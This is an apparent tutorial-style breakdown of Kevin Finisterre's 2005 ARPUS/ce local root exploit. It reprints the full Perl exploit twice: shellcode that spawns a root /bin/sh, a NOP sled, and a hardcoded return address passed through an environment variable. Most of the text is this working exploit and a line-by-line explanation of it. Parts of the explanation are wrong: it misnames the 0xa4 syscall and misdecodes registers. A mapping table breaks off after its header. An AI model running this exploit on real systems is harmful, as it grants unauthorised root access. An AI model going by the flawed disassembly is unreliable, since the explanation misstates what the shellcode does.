ARPUS/Ce Local Overflow Exploit Explained

ARPUS/Ce Local Overflow Exploit Explained
What this paper is
This paper describes a local privilege escalation exploit for the arpus/ce program on Linux systems. The exploit leverages a buffer overflow vulnerability within the ce executable to gain root privileges. The author, Kevin Finisterre, published this exploit in 2005.
Simple technical breakdown
The arpus/ce program, when executed, is vulnerable to a buffer overflow. This means that if you provide it with an input that is too large, it can overwrite memory beyond the intended buffer. The exploit crafts a malicious input that, when processed by ce, overwrites critical program data and injects shellcode. This shellcode then executes, typically to spawn a shell with root privileges. The exploit uses environment variables to deliver the malicious input to the vulnerable program.
Complete code and payload walkthrough
Let's break down the provided Perl script and its components.
#!/usr/bin/perl -w
#
# Setuid ARPUS/ce exploit by KF - kf_lists[at]digitalmunition[dot]com - 4/21/05
#
# Copyright Kevin Finisterre
# kfinisterre@threat:/tmp$ ./ce_ex.pl
# sh-2.05b# id
# uid=0(root) gid=1000(kfinisterre)
# groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),1000(kfinisterre)
#
# 57 bytes long
$sc = "\x90"x512;
$sc .= "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80";
$sc .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b";
$sc .= "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";
$sc .= "\x80\xe8\xdc\xff\xff\xff/bin/sh";
$buf = "\x90" x (4120-569);
$buf .= $sc;
$buf .= (pack("l",(0xbfffa187)) x2);
$ENV{"XAPPLRESLANGPATH"} = $buf;
exec("/usr/bin/ce");1. Shebang and Comments:
#!/usr/bin/perl -w: This line indicates the script should be executed with Perl and enables warnings (-w) for better debugging.- The comments explain the exploit's purpose, author, contact information, and demonstrate a successful execution scenario showing root privileges.
2. Shellcode Definition ($sc):
$sc = "\x90"x512;: This initializes the shellcode with 512 bytes of NOP (No Operation) instructions (\x90). This is often referred to as a "NOP sled." Its purpose is to provide a larger landing area for the execution flow if the exact return address is slightly off.$sc .= "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80";: This is the first part of the actual shellcode.\x31\xd2:xor edx, edx(Zeroes out the EDX register).\x31\xc9:xor ecx, ecx(Zeroes out the ECX register).\x31\xdb:xor ebx, ebx(Zeroes out the EBX register).\x31\xc0:xor eax, eax(Zeroes out the EAX register).\xb0\xa4:mov al, 0xa4(Loads the value0xa4into the AL register.0xa4is the system call number forsetuidon older Linux kernels).\xcd\x80:int 0x80(Triggers a system call).
Purpose: This sequence aims to set the effective user ID to 0 (root) by callingsetuid(0).
$sc .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b";: This is the second part of the shellcode.\xeb\x1f:jmp short 0x1f(A short jump. The exact target is relative to the instruction pointer. This likely jumps over some data or padding).\x5e:pop esi(Pops the value from the stack into the ESI register. The value pushed onto the stack earlier by the exploit buffer will be here).\x89\x76\x08:mov [esi+0x8], esi(Moves the value of ESI to the memory address ESI + 8. This is part of setting up arguments forexecve).\x31\xc0:xor eax, eax(Zeroes out EAX).\x88\x46\x07:mov [esi+0x7], al(Moves the lower byte of EAX (which is 0) to the memory address ESI + 7. This is likely setting the null terminator for a string argument).\x89\x46\x0c:mov [esi+0xc], eax(Moves EAX (which is 0) to the memory address ESI + 12. This is likely setting the null terminator for another string argument).\xb0\x0b:mov al, 0x0b(Loads the value0x0binto AL.0x0bis the system call number forexecveon older Linux kernels).
Purpose: This section prepares for executing a command. It uses the value of ESI (which will point to the start of/bin/sh) to set up the arguments for theexecvesystem call.
$sc .= "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";: This is the third part of the shellcode.\x89\xf3:mov ebx, esi(Moves the value of ESI into EBX. EBX will hold the pointer to the command string,/bin/sh).\x8d\x4e\x08:lea esi, [esi+0x8](Loads the effective address of ESI + 8 into ESI. This points to the first argument forexecve, which is typically NULL forexecve("/bin/sh", ...)).\x8d\x56\x0c:lea edx, [esi+0xc](Loads the effective address of ESI + 12 into EDX. This points to the second argument forexecve, which is also typically NULL).\xcd\x80:int 0x80(Triggers theexecvesystem call).\x31\xdb:xor ebx, ebx(Zeroes out EBX).\x89\xd8:mov eax, ebx(Moves the zeroed EBX into EAX. This is likely to prepare for aexitsystem call ifexecvefails, though it's not explicitly called here).\x40:inc eax(Increments EAX to 1).\xcd\x80:int 0x80(Triggers theexitsystem call witheax=1).
Purpose: This part executes/bin/shusingexecve. Ifexecvefails for some reason, it attempts to exit.
$sc .= "\xe8\xdc\xff\xff\xff/bin/sh";: This is the final part of the shellcode.\xe8\xdc\xff\xff\xff:call 0xffffffdc(This is a relative call. Thecallinstruction pushes the address of the next instruction onto the stack and then jumps. The target address0xffffffdcis relative to the instruction pointer after the call. This is a common technique to get the address of data that immediately follows thecallinstruction. In this case, it's used to get the address of/bin/sh)./bin/sh: This is the string that will be executed. Thecallinstruction will push the address of this string onto the stack, and the previouspop esiwill then load this address into ESI.
Purpose: This section places the string/bin/shand uses acallinstruction to obtain its address, which is crucial for theexecvesystem call.
3. Buffer Construction ($buf):
$buf = "\x90" x (4120-569);: This creates a buffer filled with NOP instructions. The size is calculated as4120 - 569. This large number of NOPs is intended to overwrite the vulnerable buffer and extend into the area where the return address is stored. The569is likely the size of the shellcode and any padding before it.$buf .= $sc;: The constructed shellcode ($sc) is appended to the NOP sled.$buf .= (pack("l",(0xbfffa187)) x2);: This appends two instances of the packed value0xbfffa187twice.pack("l", ...): This Perl function packs a number into a binary string according to the specified format."l"typically means a signed long integer (4 bytes on most 32-bit systems).0xbfffa187: This is a hardcoded memory address. In the context of a stack overflow, this address is intended to overwrite the return address on the stack. The exploit writer has likely determined this specific address where the stack is located during the execution of the vulnerableceprogram. The repetition (x2) suggests that the overflow might overwrite multiple return addresses or other critical stack data.
Purpose: This section constructs the final payload. It starts with a large NOP sled, followed by the shellcode, and then the overwritten return addresses.
4. Environment Variable Injection:
$ENV{"XAPPLRESLANGPATH"} = $buf;: This is the mechanism for delivering the exploit payload. The script sets an environment variable namedXAPPLRESLANGPATHto the contents of$buf. Many programs, including potentiallyarpus/ce, read configuration or path information from environment variables. Whenceis executed, it's expected to process this variable, leading to the buffer overflow.
5. Execution:
exec("/usr/bin/ce");: This command replaces the current Perl process with the/usr/bin/ceexecutable. Whencestarts, it will likely read theXAPPLRESLANGPATHenvironment variable, encounter the overflow, and execute the injected shellcode.
Code Fragment/Block -> Practical Purpose Mapping:
| Code Fragment/Block | Practical Purpose
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl -w
#
# Setuid ARPUS/ce exploit by KF - kf_lists[at]digitalmunition[dot]com - 4/21/05
#
# Copyright Kevin Finisterre
# kfinisterre@threat:/tmp$ ./ce_ex.pl
# sh-2.05b# id
# uid=0(root) gid=1000(kfinisterre)
# groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),1000(kfinisterre)
#
# 57 bytes long
$sc = "\x90"x512;
$sc .= "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80";
$sc .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b";
$sc .= "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";
$sc .= "\x80\xe8\xdc\xff\xff\xff/bin/sh";
$buf = "\x90" x (4120-569);
$buf .= $sc;
$buf .= (pack("l",(0xbfffa187)) x2);
$ENV{"XAPPLRESLANGPATH"} = $buf;
exec("/usr/bin/ce");
# milw0rm.com [2005-05-01]